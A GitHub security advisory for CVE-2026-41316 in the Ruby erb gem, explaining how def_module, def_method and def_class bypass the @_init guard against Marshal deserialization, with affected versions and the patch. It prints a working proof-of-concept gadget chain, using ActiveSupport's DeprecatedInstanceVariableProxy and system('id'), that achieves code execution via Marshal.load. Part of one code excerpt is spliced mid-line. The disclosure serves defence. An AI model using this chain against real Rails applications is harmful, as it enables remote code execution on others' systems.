GitHub Advisoryadvisory · RubyGems

GHSA-q339-8rmv-2mhv ERB has an @_init deserialization guard bypass via def_module / def_method / def_class

HIGH Published 2026-04-24 Modified 2026-06-09 Official page ↗
Aliases
CVE-2026-41316
Ecosystem
RubyGems
Packages
erb
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Weaknesses
CWE-693
Reviewed
2026-04-24

Affected packages

• RubyGems erb: < 4.0.3.1 → fixed in 4.0.3.1 • RubyGems erb: >= 4.0.4, < 4.0.4.1 → fixed in 4.0.4.1 • RubyGems erb: >= 5.0.0, < 6.0.1.1 → fixed in 6.0.1.1 • RubyGems erb: >= 6.0.2, < 6.0.4 → fixed in 6.0.4

Description

Summary Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an `@_init` instance variable guard in `ERB#result` and `ERB#run` to prevent code execution when an ERB object is reconstructed via `Marshal.load` (deserialization). However, three other public methods that also evaluate `@src` via `eval()` were not given the same guard: • `ERB#def_method` • `ERB#def_module` • `ERB#def_class` An attacker who can trigger `Marshal.load` on untrusted data in a Ruby application that has `erb` loaded can use `ERB#def_module` (zero-arg, default parameters) as a code execution sink, bypassing the `@_init` protection entirely. The @_init Guard In `ERB#initialize`, the guard is set: ```ruby erb.rb line 838 @_init = self.class.singleton_class ``` In `ERB#result` and `ERB#run`, the guard is checked before `eval(@src)`: ```ruby erb.rb line 1008-1012 def result(b=new_toplevel) unless @_init.equal?(self.class.singleton_class) raise ArgumentError, "not initialized" end eval(@src, b, (@filename || '(erb)'), @lineno) end ``` When an ERB object is reconstructed via `Marshal.load`, `@_init` is either `nil` (not set during marshal reconstruction) or an attacker-controlled value. Since `ERB.singleton_class` cannot be marshaled, the attacker cannot set `@_init` to the correct value, and `result`/`run` correctly refuse to execute. The Bypass `ERB#def_method`, `ERB#def_module`, and `ERB#def_class` all reach `eval(@src)` without checking `@_init`: ```ruby erb.rb line 1088-1093 def def_method(mod, methodname, fname='(ERB)') src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} e puts "result: #{e.message} (blocked by @_init -- correct)" end ERB#def_module does NOT block this -- executes system('id'): erb.def_module Output: uid=0(root) gid=0(root) groups=0(root) ``` Marshal deserialization (ERB + ActiveSupport) When combined with `ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy` as a method dispatch gadget, this achieves RCE via `Marshal.load`: ```ruby require 'active_support' require 'active_support/deprecation' require 'active_support/deprecation/proxy_wrappers' require 'erb' --- Build payload (replace proxy class for marshaling) --- real_class = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy) class ActiveSupport::Deprecation class DeprecatedInstanceVariableProxy def initialize(h) h.each { |k, v| instance_variable_set(k, v) } end end end erb = ERB.allocate erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x") erb.instance_variable_set(:@lineno, 0) erb.instance_variable_set(:@filename, nil) proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new({ :@instance => erb, :@method => :def_module, :@var => "@x", :@deprecator => Kernel }) marshaled = Marshal.dump({proxy => 0}) --- Restore real class and trigger --- ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy) ActiveSupport::Deprecation.const_set(:DeprecatedInstanceVariableProxy, real_class) This triggers RCE: Marshal.load(marshaled) Output: uid=0(root) gid=0(root) groups=0(root) ``` Chain: 1. `Marshal.load` reconstructs a Hash with a `DeprecatedInstanceVariableProxy` as key 2. Hash key insertion calls `.hash` on the proxy 3. `.hash` is undefined -> `method_missing(:hash)` -> dispatches to `ERB#def_module` 4. `def_module` -> `def_method` -> `module_eval(eval(src))` -> breakout -> `system('id')` Verified on: Ruby 3.3.8 / RubyGems 3.6.7 / ActiveSupport 7.2.3 / ERB 6.0.1 Impact Scope Any Ruby application that calls `Marshal.load` on untrusted data AND has both `erb` and `activesupport` loaded is vulnerable to arbitrary code execution. This includes: • Ruby on Rails applications that import untrusted serialized data -- any Rails app (every Rails app loads both ActiveSupport and ERB) using Marshal.load for caching, data import, or IPC • Ruby tools that import untrusted serialized data -- any tool using `Marshal.load` for caching, data import, or IPC • Legacy Rails apps (pre-7.0) that still use Marshal for cookie session serialization Severity justification The `@_init` guard was the recognized last line of defense against ERB being used as a deserialization gadget. Prior gadget chain research -- including Luke Jahnke's November 2024 Ruby 3.4 chain (nastystereo.com) and vakzz's 2021 Universal Deserialization Gadget -- pursued entirely different approaches (Gem::SpecFetcher, UncaughtThrowError, TarReader+WriteAdapter) without exploring the ERB def_method/def_module path. The `def_module` bypass is simpler and more direct than all previous chains, and was not addressed by the subsequent patches to Ruby 3.4 or RubyGems 3.6. This bypass renders the @_init mitigation ineffective across all ERB versions from 2.2.0 through 6.0.3 (latest as of April 2026). Combined with the DeprecatedInstanceVariableProxy gadget (present in all ActiveSupport versions through 7.2.3), this constitutes a universal RCE gadget chain for Ruby 3.2+ applications using Rails. Gadget chain history Six generations of Ruby Marshal gadget chains have been discovered (2018-2026). Each bypassed the previous round of mitigations: | Year | Chain | Mitigated in | |------|-------|-------------| | 2018 | Gem::Requirement (Luke Jahnke) | RubyGems 3.0 | | 2021 | UDG -- TarReader+WriteAdapter (vakzz) | RubyGems 3.1 | | 2022 | Gem::Specification._load (vakzz) | RubyGems 3.6 | | 2024 | UncaughtThrowError (Luke Jahnke) | Ruby 3.4 patches | | 2024 | Gem::Source::Git#rev_parse | RubyGems 3.6 | | 2026 | ERB#def_module @_init bypass | ERB 6.0.4 | Patches The problem has been patched at the following ERB versions. Please upgrade your erb.gem to any one of them. • ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4 Add the `@_init` check to `def_method`. Since `def_module` and `def_class` both delegate to `def_method`, this single change covers all three bypass paths: ```ruby def def_method(mod, methodname, fname='(ERB)') unless @_init.equal?(self.class.singleton_class) raise ArgumentError, "not initialized" end src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} -----

Related

Alias · CVE (1)

Weakness · CWE (1)

  • CWE-693 Protection Mechanism Failure weakness

References